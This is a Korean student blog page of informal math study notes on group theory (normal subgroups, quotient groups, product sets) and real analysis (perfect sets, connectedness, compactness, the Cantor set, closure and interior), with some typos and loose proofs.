황올뱀의 블로그

[군론](19)[정규부분군 & 몫군]

황올뱀 — Tue, 2 Jun 2026 10:44:56 +0900

normal subgroup

$N \le G$에 대해, $\forall g \in G, \ gN = Ng$인 N
$N\unlhd G$

특징

만약 G가 abelian이라면 모든 subgroup이 normal subgroup
당연히 element-wise로 normal subgroup이 됨
모든 left coset = right coset임
항상 {e}, G $\unlhd$ G
즉, 임의의 군엔 normal subgroup이 1개는 존대
Z(G) $\unlhd$ G
군론 6에서 봤던 군의 중심은 항상 G의 normal subgroup이다
Z(G) = {x | $\forall g \in G, \ gx=xg$} = abelian element
정의부터가 normal subgroup임...

$[G : H] = 2 \Rightarrow H \unlhd G$

군론 17에서 증명한 것과 같이
[G : H] = 2이면 left coset = right coset이다
즉, gH = Hg이므로
-> normal subgroup

normal subgroup $\Leftrightarrow \forall g \in G, \ gNg^{-1} \subseteq N$

증명 (=>)
$N \unlhd G$일때,
$\iff \forall g \in G, \ gN = Ng$
즉, $\forall n \in N, \ \exists n_1 \in N, \ gn = n_1g$
$\Rightarrow \forall gng^{-1} = \exists n_1 \in N$
따라서, $gNg^{-1} \subseteq N$

참고) 반대 증명도 가능하다
$\Rightarrow n = \exists gn_1g^{-1} \in gNg^{-1}$
$\Rightarrow \forall n = \exists gn_1g^{-1} \in N$
따라서, $N \subseteq gng^{-1}$
그래서 정확히는 $N = gng^{-1}$인데 편리성 때문에 생략됨
증명 (<=)
$gng^{-1} \subseteq N$일떄,

$\forall gn \in gN$,
$gng^{-1} \in gNg^{-1} \subseteq N$
$\Leftrightarrow \exists n_1 \in N, \ gng^{-1} = n_1$
$\Rightarrow gn = n_1g \in Ng \Rightarrow gN \subseteq Ng$

$\forall ng^{-1} \in gN$,
$(g^{-1})^{-1}ng^{-1} \in gNg^{-1} \subseteq N$
$\Leftrightarrow \exists n_2 \in N, \ (g^{-1})^{-1}ng^{-1} = n_2$
$\Rightarrow ng^{-1} = (g^{-1})^{-1}n_2 \in gN \Rightarrow Ng \subseteq gN$

즉, $gN \subseteq Ng, \ Ng \subseteq gN$이므로, gN = Ng
-> normal subgroup

G/N (Quotient group)

N $\unlhd$ G일때, left coset을 모은 집합
{gN | $g \in G$}

|G/N| = [G : N] = $\frac{|G|}{|N|}$
G/<(a, b)>: 군 G를 (a, b)으로 모듈러 연산을 돌리겠다는 뜻이다
(a, b)를 (0, 0)으로 취급하겠다는 뜻
ax+by = 0의 식

G/N은 군인가?

몫군 내부의 연산
$\forall a,b \in G, \ (aN)\cdot(bN) = (ab)N$
$N \unlhd G \iff \text{well-defined}$

증명(=>)
$N \unlhd G$일때,
aN = a'N이고
bN = b'N이라 하자
$\Rightarrow$ $an_1 = a', \ bn_2 = b'$
a'b' = $(an_1)(bn_2) = a(n_1b)n_2$
이떄, $N \unlhd G$이므로, Nb = bN
$\Rightarrow \exists bn_3 \in bN, \ n_1b = bn_3$
$(a(n_1b)n_2) = a(bn_3)n_2 \in (ab)N$
즉, (ab)N = (a'b')N이다.
-> well-defined
증명(<=) normal subgroup의 동치 조건을 이용하자
$\forall n \in N,\ nN = N$
well-defined이므로, 같은 값을 곱하면 같은 결과가 나옴
$\Rightarrow \forall g \in G, \ (nN)(g^{-1}N) = (N)(g^{-1}N)$
= $(ng^{-1})N = g^{-1}N$
$\Rightarrow (gN)(ng^{-1})N = (gN)(g^{-1}N)$
= $(gng^{-1})N = (gg^{-1})N = N$
따라서 $gNg^{-1} \subseteq N$이므로, N은 normal subgroup

closed?
이미 연산 자체가 closed임
$(aN)\cdot(bN) = (ab)N \in \text{left coset's set}$
associative?
G에서 상속받아서 ㄱㅊ
identity?
eN = N
inverse?
$(aN)^{-1} = (a^{-1})N$

-> 몫군 또한 군이다.

예시

[[번외) Quotient group 예시]]

성질

G가 abelian => G/N도 abelian

증명
G가 abelian이고, $N\unlhd G$라 가정하자.
$\forall aN, \ bN \in G/N$에 대해
$aN\cdot bN = (a\cdot b)N$
= $(b\cdot a)N$ (G가 abelian)
= $= bN\cdot aN$
따라서 G/N도 abelian

참고) 역은 성립 X
$S_n/A_n \simeq \mathbb{Z}_2$ <- abelian
그러나, $S_n$은 abelian 아님

G가 cyclic => G/N도 cyclic

증명
G가 cyclic이고, $N\unlhd G$라 가정하자.
$\forall gN \in G/N$에 대해,
$\exists a \in G, \ a^k = g$ (G가 cyclic)
$\Rightarrow gN = a^kN = aN\cdot aN \cdot ... \cdot aN$
= $(aN)^k$
즉, $G/N = \braket{aN}$
따라서 G/N도 cyclic

참고) 역은 성립 X
$S_n/A_n \simeq \mathbb{Z}_2$ <- cyclic
그러나, $S_n$은 cyclic 아님

G/Z 정리

G/Z(G)가 cyclic => G는 abelian

증명
G/Z(G)가 cyclic이므로,
$G/Z(G) = \braket{gZ(G)}$인 $\exists g \in G$존재
$\Rightarrow G = Z(G)\cup gZ(G)\cup ...\cup g^kZ(G)\cup ...$
이떄, G의 임의의 원소 x, y를 다음과 같이 나타낼 수 있다.
$x \in g^iZ(G), \ y \in g^jZ(G)$
$\Leftrightarrow x = g^iz_1, \ y = g^jz_2$ (단, $z_1,z_2 \in Z(G)$)
즉, $z_1, z_2$는 중심의 원소이므로, 교환법칙이 성립
$xy = g^iz_1g^jz_2 = z_2g^{i+j}z_1 = g^jz_2g^iz_1 = yx$
따라서 abelian

[군론](18)[product set & 소수와 군]

황올뱀 — Mon, 1 Jun 2026 09:39:23 +0900

product set

H, K $\le$ G일때, HK = ${hk \ | \ h \in H, \ k\in K}$

HK가 항상 G의 부분군임은 보장되진 않는다
예) $G = S_3, \ H = {\iota, (1,2)},\ K = {\iota, (2,3)}$
$|S_3| = 3! = 6$
$HK = \{\iota, (1,2), (2,3), (1,2)(2,3)\}$
by 라그랑주 정리, $4\ |\not \ 6$이므로, HK는 부분군이 아님
G가 abelian이라면 항상 KH = HK

$|HK| = \frac{|H|\cdot |K|}{|H\bigcap K|}$

만약 $H\bigcap K$ = {e} 라면? -> |HK| = |H||K|
subgroup 조건에 의해, H, K는 e를 반드시 포함해야 함

증명
HK의 원소 중 같은 값이지만 다르게 표현될 수 있는 것이 있다
예) 6 = 2 x 3 = 1 x 6
따라서, 이런 중복 case를 제거해야 한다.

중복 케이스를 $h_1k_1 = h_2k_2$라고 하자.
$\iff h_2^{-1}h_1 = l_2k_1^{-1} = d$라고 하자
by closure, $d \in H, \ d \in K$
$\Rightarrow d \in H\bigcap K$

정의에 의해, $(h_2, k_2) = (h_1d, d^{-1}k_1)$이다.
$h_1k_1 = h_1(d d^{-1})k_1$
즉, 임의의 $H\bigcap K$의 원소 d에 대해 성립한다
-> 중복을 만들 수 있는 원소 수 = $|H\bigcap K|$
따라서, 나눠서 중복을 제거하면, $|HK| = \frac{|H|\cdot |K|}{|H\bigcap K|}$

$HK \le G \iff KH=HK$

(=>) 증명
$H,K \le G \Rightarrow$ H, K는 군
$h\in H, \ k\in K$에 대해, $x \in HK$라 하자.
이떄, 전제에 의해, HK는 군이므로, x의 유일한 역원을 갖는다
$x^{-1} = hk \in HK$
K는 군이므로, 유일한 역원을 가짐
$\exists h' = h^{-1} \in H, \ \exists k' = k^{-1} \in K$
$(x^{-1})^{-1} = x = k^{-1}h^{-1} = k'h' \in KH$
따라서, $x \in HK \Rightarrow x \in KH$이므로,
$HK \subseteq KH$
반대도 동일하게 증명하면 $KH \subseteq HK$
-> HK = KH
(<=) 증명
HK가 부분군 판정을 만족하는지 보면 됨
1. non-empty?
  $e \in H, K$
  $\Rightarrow e\cdot e = e \in HK$
  $HK \neq \emptyset$
2. closure?
  $\forall h_1k_1, h_2k_2 \in HK,$
  $(h_1k_1)(h_2k_2) = h_1(k_1h_2)k_2$
  이떄, HK = KH이므로,
  $h'k' = k_1h_2$인 $h'k' \in HK$가 존재
  $\Rightarrow h_1h'k'k_2 = (h_1h')(k'k_2) \in HK$
3. inverse?
  $\forall hk \in HK,$
  $(hk)^{-1} = k^{-1}h^{-1} \in KH = HK$
-> 따라서, $HK \le G$

half-group partition

군 G에 정확히 2개의 left coset (or right coset)이 있는 경우 index가 2이다
정의에 의해 당연함
즉, 군이 $G = H \bigcup (G\backslash H) = H \bigcup H^C$

$[G:H]=2 \Rightarrow \forall g \in G, \ gH=Hg$

즉, 잉여류가 2개밖에 없다면, right coset = left coset이다
-> 즉, 정규부분군이라는 소리다...

증명
$g \in H$라면...
$gH = Hg = H$ 이므로 완료
$g \in G\backslash H$라면?
좌잉여류 = $G\backslash H$
우잉여류 = $G\backslash H$
따라서, gH = Hg

소수와 군

cauchy theorem

order가 2p인 군은 항상 |a| = p인 원소를 포함한다

|a| = p
$|\braket{a}| = p \Rightarrow [G:\braket{a}] = 2$
$\braket{a}$는 대칭 분할 (left = right coset)

sylow theorem

위수가 2p인 군은
cyclic group $\mathbb{Z}_{2p}$
dihedral group $D_p$
와 isomorphic하다

페르마의 소정리의 증명

$a^{\phi(n)} \equiv 1 \ (\mod \ n)$
정수론 7에서 증명한 방법도 있지만, 군론으로도 증명 가능하다

group of units

U($\mathbb{Z}n$) = {$k \in \mathbb{Z} \ | \ k<n, \ \gcd(k, n) = 1$}
예) U($\mathbb{Z}{10}$) = U({0, 1, ..., 9}) = {1, 3, 7, 9} <- 10과 서로소

order = $\phi(n)$
증명
gcd(a, n) = 1이고, $a \in \mathbb{Z}_n$인 a를 잡자.
group of units의 정의에 의해, $a \in U(\mathbb{Z}_n)$
$\Rightarrow a^{|U(\mathbb{Z}_n)|} = e$ (라그랑주 정리의 따름 정리 이용)
$\Rightarrow a^{\phi(n)} = 1 \in \mathbb{Z}_n$
$\Rightarrow a^{\phi(n)} \equiv 1 \ (mod \ n)$

페르마 소정리의 특이 케이스인 오일러 공식도
$\phi(p) = p-1$임을 이용하면 됨

[해석학](22)[perfect set]

황올뱀 — Wed, 27 May 2026 17:30:54 +0900

perfect set

$P \subseteq \mathbb{R}$이 closed + no isolated point면 perfect set이다.
$\iff$ closed + 모든 집합의 점이 limit point

예) [a, b]는 perfect set이다
    limit point of [a, b] = [a, b]
    따라서, [a, b]안의 모든 점은 limit point
    -> perfect set
예) {0}은 perfect set이 아니다...
    0 = isolated point
    -> perfect set 아님...
예) {0}$\cup {\frac{1}{n}}$은 perfect set이 아니다...
    0 = limit point
    $\forall \frac{1}{n}$ = isolated point
    각 분수 사이에 빈 공간이 생기는 $\epsilon$ 존재
    -> perfect set 아님...
예) Cantor set은 perfect set이다.

증명
$x \in C$라고 할 때, x가 limit point임을 보이자!
일단 해석개론 20에서 보였듯, C는 compact이다

모든 교집합에는 각 interval의 끝 점이 항상 포함된다.
따라서, $\forall \epsilon > 0$에 대해, $(\frac{1}{3})^n < \epsilon$인 n을 잡으면,
$\exists y \in C, \ |y-x| \le (\frac{1}{3})^n < \epsilon$
즉, $y \in V_{\epsilon}(x)$이므로, x는 limit point이다

$P \neq \emptyset$일떄, perfect set P는 uncountable

(perfect set은 농도가 더 높다고 할 수 있다.)

증명: 해석개론 6에서 보인 것과 비슷
perfect set P가 countable이라 하자
P = {x1, x2, ...}
perfect set이므로, no isolated point
즉, x1 주변에 항상 P의 원소 존재
이떄, x1주변 점을 y1이라 하고 y1을 중심으로
$x_1 \notin I_1$인 구간 $I_1 = [a_1, b_1]$을 잡는다
이떄, $I_1 \cap P \neq \emptyset$ ($y_1 \in I_1\cap P$)

이제 이 과정을 반복하면서 nested set을 만들면 되겠는데...
만약 $y_n = x_{n+1}$일 경우라면 $I_n$에 $x_{n+1}$만 있을수도 있지 않을까?
-> but, P is perfect set
따라서, 주변에 있는 다른 limit point를 기준으로
새 구간 $x_{n+1} \notin I_{n+1}$를 잡을 수 있다
이렇게 $I_1 \supseteq I_2 \supseteq I_3 \supseteq ...$이 만들어진다.

이떄, $I_n \cap P$에 대해,
$I_n$은 $[a_n, \ b_n]$ <= compact set
P는 closed
-> $I_n \cap P$는 compact
따라서 nested compact set property에 의해,
$\exists a \in \bigcap\limits^{\infty}{(I_n \cap P)}$
그러나, $\forall n\in \mathbb{N}, \ a \neq x_n$이므로, countable에 모순
-> P는 uncountable

대우명제: $P \neq \emptyset$일때, countable한 closed 집합은 perfect set이 아니다
countable한 closed 집합은 적어도 1개의 isolated point를 가지고 있다

Openset breakdown

$O \subseteq \mathbb{R}, \ O \neq \emptyset$일때, $O = \bigcup\limits^{N}_{n=1}(a_n, b_n)$ (N = finite or countable)
$\forall$open set은 countable union of disjoint set으로 나타낼 수 있다.

증명: O 내부의 open interval의 크기를 최대로 늘려보자
$\forall x \in O$에 대해, 해당 O에 들어가는 가장 큰 구간
$I_x = (\inf{a \ | \ (a,x] \subseteq O}, \ \sup{b \ | \ [x, b) \subseteq O})$을 정의하자
일단 O가 open이므로,

$I_x\subseteq O$이고 $I_x \neq \emptyset$

귀류법을 이용해 각각의 $I_x$가 disjoint임을 보여보자
$x, y \in O$에 대해, $I_x \neq I_y$이고 $I_x\cap I_y \neq \emptyset$라 하자.
그러면 $I_x \cup I_y$는 하나의 연결된 큰 구간이 된다.
그러나, $I_x, I_y$를 제일 큰 구간이라고 정의했기 떄문에 모순
더 엄밀히는 sup, inf의 정의에 모순
따라서, $x, y \in O$에 대해, $I_x = I_y$이거나 $I_x\cap I_y = \emptyset$이다.
$\bigcup I_n \subseteq O$?
이건 당연함
$O \subseteq \bigcup I_n$
O의 모든 원소 x에 대해 $I_x$를 만들었고,
$x \in I_x$이므로, 이것도 당연함
-> $O = \bigsqcup\limits^{N} I_n$

이제 N이 countable임만 보이면 된다.
$I_x$ 안에는 무수히 많은 유리수를 포함
-> 이떄, 적당히 하나의 유리수를 뽑아 $I_x$의 대푯값으로 정함
즉, $I_x$의 수 = 대푯값의 수
but, 대푯값 $\in \mathbb{Q}$이므로, |대푯값| $\le |\mathbb{Q}| = \text{countable}$
따라서 N은 countable
-> $O = \bigcup\limits^{N}_{n=1}(a_n, b_n)$ (N = finite or countable)

[해석학](21)[connected & disconnected]

황올뱀 — Tue, 26 May 2026 17:30:24 +0900

open cover

$A \subseteq \bigcup{O_{\alpha}}$인 {$O_n$}인 open set 집합
open set으로만 이루어진 합집합이 집합 A를 포함하는 집합

finite subcover: cover의 원소가 유한개인 cover
    {$O_1$, $O_2$, ..., $O_n$}
    open cover의 액기스...
-> 같은 집합 A이여도
    다양한 open cover,
    finite subcover의 존재여부
    가 존재한다

예)
[0, 1]의 open cover?
{(-1, 2)} <- finite
(0, 1)의 open cover
{$(\frac{1}{n}, 1)$ | $n \in \mathbb{N}$} <- no finite subcover
{(0, 1)} <- finite

compact의 동치

K가 compact $\Leftrightarrow \forall \text{open cover of K}$가 finite subcover를 가진다

증명

예) (0, 1)?
    {$(\frac{1}{n}, 1)$ | $n \in \mathbb{N}$}에 대해 finite subcover가 존재한다 하자.
    {$O_{n_1}$, $O_{n_2}$, ..., $O_{n_k}$}
    $O_{n_1} \cup O_{n_2} \cup ... \cup O_{n_k} = (\frac{1}{\max(n_1,\ n_2,\ ..., \ n_k)}, 1)$
    그러나, (0, $\frac{1}{\max(n_1,\ n_2,\ ..., \ n_k)}$]은 cover 안됨
    -> no finite subcover
    --> 따라서 (0, 1) is not compact

connected & disconnected

separated set

$A, B \neq \emptyset$일때, $\bar{A}\cap B = \emptyset$ & $A\cap \bar{B} = \emptyset$이면 A, B는 separated
    disjoint set(서로소 집합)보다 더 강한 조건
예)
    (1, 2) & (2, 3)
        $\bar{(1, 2)} = [1, 2]$이므로, separated
    (1, 2) & [2, 3]
        $\bar{(1, 2)} \cap [2, 3] = [1, 2]\cap [2,3] = {2} \neq \emptyset$
    따라서 not separated

disconnected

$K \subseteq \mathbb{R}$에 대해, $K = A\cup B$이고, A, B는 separated인 A, B가 존재하는 집합 K
예)
    - $(1,2)\cup(2,3)$ is disconnected
        A = (1, 2), B = (2, 3)
    - $\mathbb{Q}$ is disconnected
        A = $\mathbb{Q} \cap (-\infty , \sqrt{2})$
        B = $\mathbb{Q} \cap (\sqrt{2}, \infty)$
        $\bar{A} = (-\infty , \sqrt{2}]$, $\bar{B} = [\sqrt{2}, \infty)$
예) cantor 집합
    $C_0 = [0,1]$
    $C_1 = [0,\frac{1}{3}]\cup[\frac{2}{3}, 1]$
    $C_2 = [0,\frac{1}{9}]\cup[\frac{2}{9}, \frac{1}{3}]\cup[\frac{2}{3},\frac{7}{9}]\cup[\frac{8}{9}, 1]$
    ...

connected

not disconnected
disconnected를 증명하는 것보다 더 까다로움
왜냐하면 모든 경우에 대해 separated가 아님을 보여야 하기 때문

예) 임의의 닫힌 구간 [p, q]는 connected

증명 (귀류법을 사용하자)
$\exists A, B \neq \emptyset, \ A\cup B = [p, q],$ $\bar{A}\cap B = \emptyset$ & $A\cap \bar{B} = \emptyset$라고 하자.
$\exists a \in A, \ \exists b \in B$이고, WLOG, a<b라고 하자.
$A\cap B \subseteq \bar{A}\cap B = \emptyset$이다.
c = Sup($A\cap [a,b]$)라고 하자.
bounded & non-empty이므로,
Sup가 존재함은 자명함
이떄, $a \le c \le b$이므로, $c \in [p,q]$
즉, $c \in A$ 또는 $c \in B$
1. $c \in A$인 경우
  $c \notin B$이므로, c$\neq$b이며, c < b이다.
  또한, $c \notin \bar{B}$이므로,
  $\exists \epsilon > 0, \ V_{\epsilon}(c) \cap B = (c - \epsilon, c + \epsilon) \cap B = \emptyset$
  그리고 $c+\epsilon < b$가 되게 $\epsilon$을 잡을 수 있다.
  이떄, $c+\epsilon \notin B$이므로, $c+\epsilon \in A$
  -> 그러나, c는 Sup이므로, A의 원소보다 작으면 안됨 -> 모순
  --> $c \notin A$
2. $c \in B$인 경우
  $c\notin A$이므로, c$\neq$a이고 a<c이다
  $c \not\in \bar{A}$이므로,
  $\Leftrightarrow \exists \epsilon_0 > 0, \ V_{\epsilon}(c)\cap A= \emptyset$
  즉, $(c-\epsilon , c]$ 사이에는 A의 원소가 아무것도 없다
  -> $c-\epsilon$이 새로운 최소상계가 됨 -> 모순
  --> $c \notin B$
-> 따라서, 모든 경우에서 모순이므로, connected여야 한다.

connected <=> interval

$K \subseteq \mathbb{R}$에 대해, K가 connected set
$\iff a, b\in K, a<b$일떄, $a<\forall c < b \Rightarrow c \in K$
즉, connected면 interval이다.

증명 (=>) 귀류법을 이용하자!
K가 connected일떄, $a<\exists c < b, \ c\notin K$라고 가정하자.
$\Rightarrow K = (K \cap (-\infty, c) \cup (K \cap (c, \infty))) = A \cup B$처럼
c를 중심으로 2개의 집합으로 나눌 수 있다
a < c < b이므로
$a \in A, \ b \in B$
이때, $\bar{A} = \overline{K \cap (-\infty, c) } = (\infty, c]$이므로
$\bar{A} \cap B = \emptyset$
(그 반대도 마찬가지)
$\Rightarrow$ A, B는 separated
$\Rightarrow$ K는 disconnected -> 모순
따라서, 모든 c는 K 안에 들어있어야 함
증명 (<=) 이것도... 귀류법...
$a, b\in K, a<b$, $a<\forall c < b \Rightarrow c \in K$일때 K가 disconnected라고 가정하자.
즉, K = $A \cup B$
단, A, B$\neq \emptyset$, A, B는 separated
이때, $a \in A, \ b \in B$라고 하자.
WLOG a < b이고 $(a, b) \subseteq K$이다.

이떄, 모순이 되는 c를 잡아보자
(보통은 boundary에서 많이 잡음)
c = Sup($A \cap [a, b]$)라 하자.
AoC에 의해 존재함
해당 집합이 bounded, non-empty인건 생략
일단 $a \le c \le b$인건 자명하고,
c는 limit point이므로, $c\in L(A\cap [a, b])$
$\Leftrightarrow c \in \bar{A}$
1. $c \in B$?
  A, B가 separated이므로, $c\notin \bar{A}$ -> 모순
2. $c \in A$?
  A, B가 separated이므로, $c\notin B, \bar{B}$
  $b \in B$ & $A \cap B = \emptyset$이므로, $b \notin A$
  만약 c = b면 $b \in \bar{A}$이므로, separated에 위배
  $\Rightarrow c < b$
  
  그리고, $\exists \epsilon_0 >0, V_{\epsilon_0}(c)\cap B = \emptyset$
  $\Rightarrow V_{\epsilon_0}(c) \subseteq A$
  즉, $c + \frac{\epsilon_0}{2} \in A$ 그리고, $c + \frac{\epsilon_0}{2} < b$
  그러나 c는 Sup이므로, 모순
-> 따라서 모든 경우에 모순이므로, c는 connected

[해석학](20)[축소 컴팩트 정리 & 칸토어 집합]

황올뱀 — Mon, 25 May 2026 17:29:50 +0900

축소 컴팩트 정리(Nested Compact Set Property)

$K_1 \supseteq K_2 \supseteq ...$일때, non-empty, compact라면
$\bigcap\limits^{\infty}{K_n} \neq \emptyset$

증명
$a_n \in K$를 뽑아서 $(a_n)$을 만들고,
$(a_n) \subseteq K_1$이고, $K_1$은 compact이므로,
$\exists (a_{n_k}) \subseteq (a_n), \ a_{n_k} \to L \in K_1$

임의의 $K_m$에 대해,
$\exists k \ (s.t. n_k \ge m)$이 되고, $K_{n_k} \subseteq K_m$
따라서, $a_{n_k}$의 앞의 몇 항을 제외하면,
$a_{n_k} \in K_{n_k} \subseteq K_m$

compact 집합 => closed이고
$a_{n_k} \to L$이므로,
$L \in K_m$ (해석학 16 참고)
따라서 임의의 m에 대해 L이 항상 원소로 들어가 있다
-> $L \in \bigcap{K_n}$
--> $\bigcap\limits^{\infty}{K_n} \neq \emptyset$
증명2) NIP 마냥 증명해보자!
집합 $K_1$이 non-empty, bounded라고 하자.
AoC에 의해, $Sup(K_1), \ inf(K_1)$이 항상 존재한다.
이떄, $K_2 \subseteq K_1$인 $K_2$를 잡고,
이것 또한 $\forall k_2 \in K_2, \ |k_2| < Sup(K_1)$이므로, bounded
-> AoC에 의해, $\exists Sup(K_2), \ inf(K_2)$

이와 같은 과정을 반복하면...
$\inf(K_1) \le \inf(K_2) \le \inf(K_3) \le ... \le Sup(K_1)$의 수열이 만들어진다.
-> bounded + monotone이므로,
by MCT, 해당 inf 수열은 항상 수렴한다.
$\lim\limits_{n \to \infty}\inf(K_n) = L$

이때, $K_n$은 compact이므로, closed따라서, $L \in K_n$
즉, 집합 안의 모든 수열에 대해, $\forall$ limit point $\in K_n$
따라서,$L \in K_n$
-> $\bigcap\limits^{\infty}{K_n} \neq \emptyset$

칸토어 집합 (cantor set)

$C = \bigcap\limits^{\infty}{C_n}$
$C_0 = [0,1]$
    $C_1 = [0,\frac{1}{3}]\cup[\frac{2}{3}, 1]$
    $C_2 = [0,\frac{1}{9}]\cup[\frac{2}{9}, \frac{1}{3}]\cup[\frac{2}{3},\frac{7}{9}]\cup[\frac{8}{9}, 1]$
    ...

cantor 집합은 compact이다
- closed?
  $C_0$는 닫힌 집합이고,
  임의의 자연수 N에 대해서도 $C_N$은 닫힌 집합이다
  교집합은 closed에 영향 없으므로,
  -> C는 closed
  참고) 여집합이 열림으로 증명할 수도 있음!
  오히려 이게 열린 집합의 합집합으로 정의되니까
  더 자연스러울수도?
- bounded?
  $\forall c \in C, \ |c| \le 1$

by heine-borel theorem,
closed + bounded -> compact

uncountable이다
$\mathbb{R}$과 일대일대응 함수가 있음
3진법 체계에서 0, 2만 사용하는 수열
$\Rightarrow$ 이진 수열로 나타내기
-> uncountable
measure zero
점차 빼다보면 길이가 0이 됨
제거된 길이 = $\sum\limits^{\infty}_{n=0}{\frac{2^n}{3^{n+1}}} = 1$
no open intervals
-> disconnected

[해석학](19)[compact & heine-borel]

황올뱀 — Fri, 22 May 2026 17:28:58 +0900

BW의 역

수렴하는 부분수열이 존재 => bounded
원본 BW) 수열이 bounded => 부분수열이 수렴하는 부분수열이 존재
해석학 11 참고

BW의 역 또한 실수 공간에서 참이다

증명 (귀류법 사용!)
어떤 수열 $a_n$에 대해,
모든 부분수열이 수렴하는 부분수열을 가진다 가정하자
이때, $a_n$이 bounded가 아니라고 가정하자.

새로운 $a_n$의 부분수열 $x_n$을 다음과 같이 잡자
유계가 아니므로 다음과 같이 항을 골라낼 수 있다.
|$x_n$| > n
이때, $x_n$또한 수렴하는 부분수열을 가져야 하나,
애초에 $x_n$을 잡핬을 때, |$x_n$| > |$x_{n-1}$| 이렇게 잡음
따라서, $\lim{x_n} \to \infty$ 이므로 모순
-> 따라서, 수렴하는 부분수열은 bounded

compact

$K \subseteq \mathbb{R}$에 대해,
$\forall a_n \subseteq K, \ \exists(a_{n_k}) \subseteq a_n$ & $(a_{n_k}) \to k \in K$
즉, K의 모든 수열에 대해, 그 수열의 부분수열이 K 안의 원소로 수렴하면
K는 compact라 한다.

heien-borel 정리

compact = closed + bounded

증명) compact => closed
집합 K가 compact라고 하자.
$x \in L(K)$라고 한다면, 동치조건에 의해,
$\Rightarrow \exists a_n \in K, \ a_n \neq x, \ a_n \to x$
K가 compact이므로,
K의 부분수열 $a_n$은 $a_{n_k} \to L \in K$인 부분수열을 가진다.
부분수열의 극한 = 원래 수열의 극한
$\Rightarrow a_n \to x = L \in K$
즉, $x \in K$
-> 따라서 $x \in L(K) \Rightarrow x \in K$이므로, closed
증명) compact => bounded
귀류법을 사용해보자...
집합 K가 compact라고 하고, K가 bounded가 아니라 가정하자.
$\Rightarrow \forall n \in \mathbb{N}, \ \exists a_n \in K, \ |a_n|>n$ ($a_n$이 발산)
but, K is compact
따라서 $\forall a_n$에 대해, $a_{n_k} \to L \in K$인 부분수열이 존재해야 함
그러나 부분수열이 수렴 $\Rightarrow$ bounded
-> 모순
따라서, K는 bounded이다.
증명) compact <= closed + bounded
집합 K가 closed & bounded라고 하자.
$(a_n) \subseteq K$인 임의의 수열 $a_n$를 잡을 수 있다.
이떄, K가 bounded이므로, $a_n$도 bounded
BW에 의해, $\exists (a_{n_k}) \subseteq (a_n), \ a_{n_k} \to L$
만약 $L \not\in K$라면,
$L \in K^C$이며, $K^C$는 open set이다.
$\Rightarrow \exists \epsilon > 0, \ V_{\epsilon}(L) \subseteq K^C$
그러나, 극한의 정의에 의해,
$\forall \epsilon > 0, \ \exists n \ge N, \ |a_N - L| < \epsilon$
따라서, $n_k > N$으로 잡으면, $a_N \in V_{\epsilon}(L) \subseteq K^C$
-> 그러나, $a_n$은 K의 원소로만 잡았으므로, 모순
-> 따라서, $L \in K$여야 한다.
따라서 K는 compact이다.

compact의 성질

K가 compact일때,
$F \subseteq K$가 closed 라면 F는 compact

증명
이미 K에사 bounded는 유전받음
$\forall k \in K, \ |k| < M$
$\Rightarrow \forall f \in F \subseteq K, \ |f| < M$
가정에 의해 F가 closed
by heine-borel,
closed + bounded이므로, F는 compact

compact의 유한번 합집합은 compact

증명
bounded의 유한번 union 또한 bounded
bounded인 $A_1,\ A_2,\ ... , \ A_n$에 대해,
$\forall a_1 \in A_1, \ |a_1| < M_1$
$\forall a_2 \in A_2, \ |a_2| < M_2$
....
$\forall s \in \bigcup{A_i}, \ |k| < \max(M_1, \ M_2, \ ..., \ M_n)$
또한 해석학 16에서 봤듯,
유한번의 union은 closed에 영향 안 미침
-> close + bounded => compact

compact $\cap$ closed = compact

증명
compact set = K, closed set = F라 할 때,
closed?
compact => closed
& closed의 교집합은 closed에 영향 X
-> closed
bounded?
K $\cap$ F $\subseteq K$
$\forall k \in K\cap F \Rightarrow k \in K$
K는 compact => bounded
$\forall k \in K, \ |k| \le \exists M$
따라서, $\forall k \in K\cap F, \ |k| \le M$
-> bounded
-> closed + bounded => compact

[해석학](18)[closure-interior-boundary]

황올뱀 — Thu, 21 May 2026 17:27:53 +0900

closure (폐포)

A 그 자체와 limit point를 포함하는 집합
$\bar{A} = A \bigcup L(A)$

$\bar{A}$는 closed이다.

증명)
x가 $\bar{A}$의 limit point라고 하자.
따라서, $\forall \epsilon >0,$
$\exists y \in \bar{A}, \ |y-x|<\frac{\epsilon}{2}$

또한 $y \in \bar{A} = A\bigcup L(A)$
$\Rightarrow \exists a \in A, \ |a-y| < \frac{\epsilon}{2}$
$y \in A$면 a = y로 잡고
$y \in L(A)$면 A의 limit point니까 a가 존재

따라서, $|a-x| \le |a-y|+|y-x| < \frac{\epsilon}{2} + \frac{\epsilon}{2} = \epsilon$
즉, $x \in L(A) \subseteq \bar{A}$
-> 모든 limit point가 자기 자신에게 포함되므로, $\bar{A}$는 closed

$\bar{A}$는 A를 포함하는 집합 중 가장 작은 닫힌 집합이다.

증명) A를 포함하는 닫힌 집합이 $\bar{A}$가 포함되는지 보면 됨
임의의 집합 F가 A를 포함하는 닫힌 집합이라 가정히자.
$A \subseteq F$

A의 임의의 limit point x에 대해,
$x \in L(A) \iff (V_{\epsilon}\setminus {x} \bigcap A) \neq \emptyset$
$\Rightarrow V_{\epsilon}\setminus {x} \bigcap F) \neq \emptyset$
따라서, $x \in L(F)$
즉, $L(A) \subseteq L(F)$이며, F는 닫힌 집합이므로,
$L(A) \subseteq L(F) \subseteq F$

따라서, $\bar{A} = A\bigcup L(A) \subseteq F$
즉, 임의의 A를 포함하는 닫힌 집합은 $\bar{A}$를 포함한다
-> $\bar{A}$는 A를 포함하는 가장 작은 닫힌 집합이다

$x \in \bar{A} \iff \exists (a_n)\in A \text{ and } a_n \to x$
즉, A 안에 어떤 수열이 존재해 폐포의 원소로 수렴한다

예)
(0,1) 의 closure = [0, 1]
    $\mathbb{Q}$의 closure = $\mathbb{R}$
    {$\frac{1}{n}$ | $n \in \mathbb{N}$}의 closure = {$\frac{1}{n}$ | $n \in \mathbb{N}$}$\bigcup${0}
    $\mathbb{Z}$의 closure = $\mathbb{Z}$
    $\mathbb{R}\setminus\mathbb{Q}$의 closure = $\mathbb{R}$

Interior (내부)

closure의 open set 버전
근방이 A 안에 들어가는 A의 원소의 집합
$A^\circ = {x \in A \ | \ \exists \epsilon > 0 , \ V_{\epsilon}(x)\subseteq A}$

$A^{\circ}$는 open set이다

증명)
$A^{\circ}$의 정의에 의해 open set임은 자명함

$A^{\circ}$는 A에 포함되는 가장 큰 open set이다

증명) 모든 open set을 $A^{\circ}$가 포함하는지 보면 됨
임의의 집합 $F \subseteq \mathbb{R}$가 A에 포함되는 open set이라 가정하자.
$F \subseteq A$
